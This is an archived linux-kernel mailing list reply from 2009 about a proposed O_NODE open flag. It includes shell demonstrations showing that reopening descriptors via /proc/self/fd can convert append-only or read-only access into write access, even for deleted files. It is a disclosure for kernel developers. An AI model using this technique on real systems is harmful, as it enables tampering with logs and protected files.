lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date:	Sun, 4 Oct 2009 23:58:49 +0100
From:	Jamie Lokier <jamie@...reable.org>
To:	Pavel Machek <pavel@....cz>
Cc:	Miklos Szeredi <miklos@...redi.hu>,
	Andreas Dilger <adilger@....com>, Valdis.Kletnieks@...edu,
	linux@...blig.org, agruen@...e.de, linux-fsdevel@...r.kernel.org,
	linux-kernel@...r.kernel.org
Subject: Re: [PATCH] vfs: new O_NODE open flag

Pavel Machek wrote:
> On Mon 2009-09-28 18:04:10, Miklos Szeredi wrote:
> >  a) the current permission model under /proc/PID/fd has a security
> >     hole (which Jamie is worried about)
> 
> I believe its bugtraq time. Being able to reopen file with additional
> permissions looks like  a security problem...
> 
> Jamie, do you have some test script? And do you want your 15 minutes
>  of bugtraq fame? ;-).

$ mkdir secret
$ exec 3>> secret/appendonly.txt
$ chmod 000 secret                    # This is not changed during do_stuff
jamie@...le:~/test$ echo START OF LOG 1>&3
$ do_stuff 1>&3
cat: secret/appendonly.txt: Permission denied # A good sign
$ chmod 755 secret
$ cat secret/appendonly.txt           # Let's see our log
nothing to see here                   # What's that doing there??!

You can re-open a deleted file with increased permisssions.  That's
probably more subversive:

$ exec >>appendonlydeleted.txt
$ exec 4<appendonlydeleted.txt        # I'll read it later.
$ echo START OF LOG
$ ./do_stuff
$ cat 0<&4 >/dev/tty
nothing to see here                   # How did they do that?!

How'd it happen?

do_stuff:
    #!/bin/sh
    echo some text getting logged...
    echo more text...
    echo no wait, let\'s subvert the append flag!
    echo nothing to see here >/proc/self/fd/1

If /proc/self/fd/1 were a _real_ symbolic link, that wouldn't work.

The reopen does check the inode permission, but it does not require
you have any reachable path to the file.  Someone _might_ use that as
a traditional unix security mechanism, but if so it's probably quite rare.

If converting append-only to writable doesn't sound too bad, you can
convert read-only to writable and write-only to readable.  Gaining
write access to a deleted file which you only received a read-only
descriptor for sounds dodgy to me:

$ echo secret5948043853048 >secret_readonly_password.txt
$ exec 3<secret_readonly_password.txt
$ rm secret_readonly_password.txt # Now I'm sure nobody can change it!
$ echo all your base ha ha >/proc/self/fd/3
$ cat 0<&3
all your base ha ha               # Oh dear, my assumption was broken.

Did you really think you had to "chmod 444" before deleting the file?

-- Jamie
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@...r.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ